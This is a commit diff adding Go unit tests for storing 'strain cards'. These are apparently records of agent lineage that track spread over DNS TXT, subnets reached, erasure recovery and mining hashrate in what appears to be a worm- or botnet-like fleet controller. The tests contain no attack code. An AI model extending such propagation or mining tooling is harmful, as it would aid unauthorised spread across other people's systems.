Add lineage strain card generation and play API implementation.
Winning spread trees now persist StrainCard JSON and operators can apply strain/persona presets via POST /api/v1/fleet/play-strain-card with audit logging.
This commit is contained in:
81
server/internal/db/strain_cards_test.go
Normal file
81
server/internal/db/strain_cards_test.go
Normal file
@@ -0,0 +1,81 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUpsertStrainCardRoundTrip(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
|
||||
cardJSON := []byte(`{
|
||||
"root_agent_id":"root-1",
|
||||
"source_agent_id":"leaf-1",
|
||||
"source_agent_name":"Leaf",
|
||||
"spread_lane":"dns_txt",
|
||||
"persona":"persuasive",
|
||||
"wins":["container"],
|
||||
"losses":["docker"],
|
||||
"subnets":["10.0.0.x","10.0.2.x"],
|
||||
"erasure_recovery_rate":1,
|
||||
"peak_hashrate":900,
|
||||
"tree_size":2
|
||||
}`)
|
||||
id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{
|
||||
SourceAgentName: "Leaf",
|
||||
SpreadLane: "dns_txt",
|
||||
Persona: "persuasive",
|
||||
PeakHashrate: 900,
|
||||
ErasureRecoveryRate: 1,
|
||||
TreeSize: 2,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, err := d.GetStrainCard(id)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.RootAgentID != "root-1" || got.PeakHashrate != 900 {
|
||||
t.Fatalf("stored card: %+v", got)
|
||||
}
|
||||
list, err := d.ListStrainCardsForAgent("leaf-1")
|
||||
if err != nil || len(list) != 1 {
|
||||
t.Fatalf("list for agent: %v err=%v", list, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = d.Close() })
|
||||
|
||||
card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500}
|
||||
raw, _ := json.Marshal(card)
|
||||
id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
card["peak_hashrate"] = 100
|
||||
raw2, _ := json.Marshal(card)
|
||||
id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id1 != id2 {
|
||||
t.Fatalf("ids differ: %s vs %s", id1, id2)
|
||||
}
|
||||
got, err := d.GetStrainCardByRoot("root")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got.PeakHashrate != 500 {
|
||||
t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user